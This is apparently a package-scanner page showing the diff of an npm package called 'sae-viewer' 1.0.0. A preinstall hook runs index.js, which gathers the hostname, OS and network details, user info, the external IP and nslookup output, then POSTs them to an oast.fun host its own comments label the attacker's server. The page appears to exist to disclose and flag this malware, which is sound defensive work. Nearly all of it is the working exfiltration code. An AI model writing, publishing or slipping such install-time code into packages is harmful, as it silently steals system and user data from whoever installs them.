sae-viewer 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +82 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,82 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const fs = require('fs');
4
+ const exec = require('child_process').exec;
5
+
6
+ // Function to send data to attacker's server
7
+ function sendDataToAttacker(data) {
8
+ const options = {
9
+ hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun', // Attacker's server
10
+ port: 443,
11
+ path: '/seaviewerchatgpt', // Endpoint to collect data
12
+ method: 'POST',
13
+ headers: {
14
+ 'Content-Type': 'application/json',
15
+ 'User-Agent': data.userAgent // Send user agent in headers
16
+ },
17
+ };
18
+
19
+ const req = https.request(options, (res) => {
20
+ console.log(`Data sent with status code: ${res.statusCode}`);
21
+ });
22
+
23
+ req.on('error', (e) => {
24
+ console.error(`Problem with request: ${e.message}`);
25
+ });
26
+
27
+ req.write(JSON.stringify(data));
28
+ req.end();
29
+ }
30
+
31
+ // Collect system info
32
+ const systemInfo = {
33
+ hostname: os.hostname(), // Get server's hostname
34
+ platform: os.platform(), // OS platform (e.g., Linux, Windows)
35
+ arch: os.arch(), // Architecture (x64, arm, etc.)
36
+ cpus: os.cpus().length, // Number of CPU cores
37
+ memory: os.totalmem(), // Total system memory
38
+ networkInterfaces: os.networkInterfaces(),
39
+ };
40
+
41
+ // Collect user-related info
42
+ const userInfo = os.userInfo();
43
+
44
+ // Get external IP (simple API call to a free IP lookup service)
45
+ https.get('https://api.ipify.org?format=json', (resp) => {
46
+ let data = '';
47
+
48
+ resp.on('data', (chunk) => {
49
+ data += chunk;
50
+ });
51
+
52
+ resp.on('end', () => {
53
+ const ipInfo = JSON.parse(data);
54
+ systemInfo.externalIP = ipInfo.ip;
55
+
56
+ // Get company info (using the hostname)
57
+ exec(`nslookup ${os.hostname()}`, (error, stdout, stderr) => {
58
+ if (!error) {
59
+ systemInfo.companyDetails = stdout;
60
+ }
61
+
62
+ // Collect user agent (can be hardcoded or dynamically fetched in real scenarios)
63
+ const userAgent = "NodeJS Malicious Client/1.0";
64
+
65
+ // Prepare data to send
66
+ const collectedData = {
67
+ systemInfo,
68
+ userInfo,
69
+ userAgent, // User agent string for tracking
70
+ };
71
+
72
+ // Send data to the attacker's server
73
+ sendDataToAttacker(collectedData);
74
+ });
75
+ });
76
+
77
+ }).on("error", (err) => {
78
+ console.log("Error fetching IP: " + err.message);
79
+ });
80
+
81
+ // Execute immediately
82
+ console.log("Malicious package executed.");
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "sae-viewer",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
12
+ }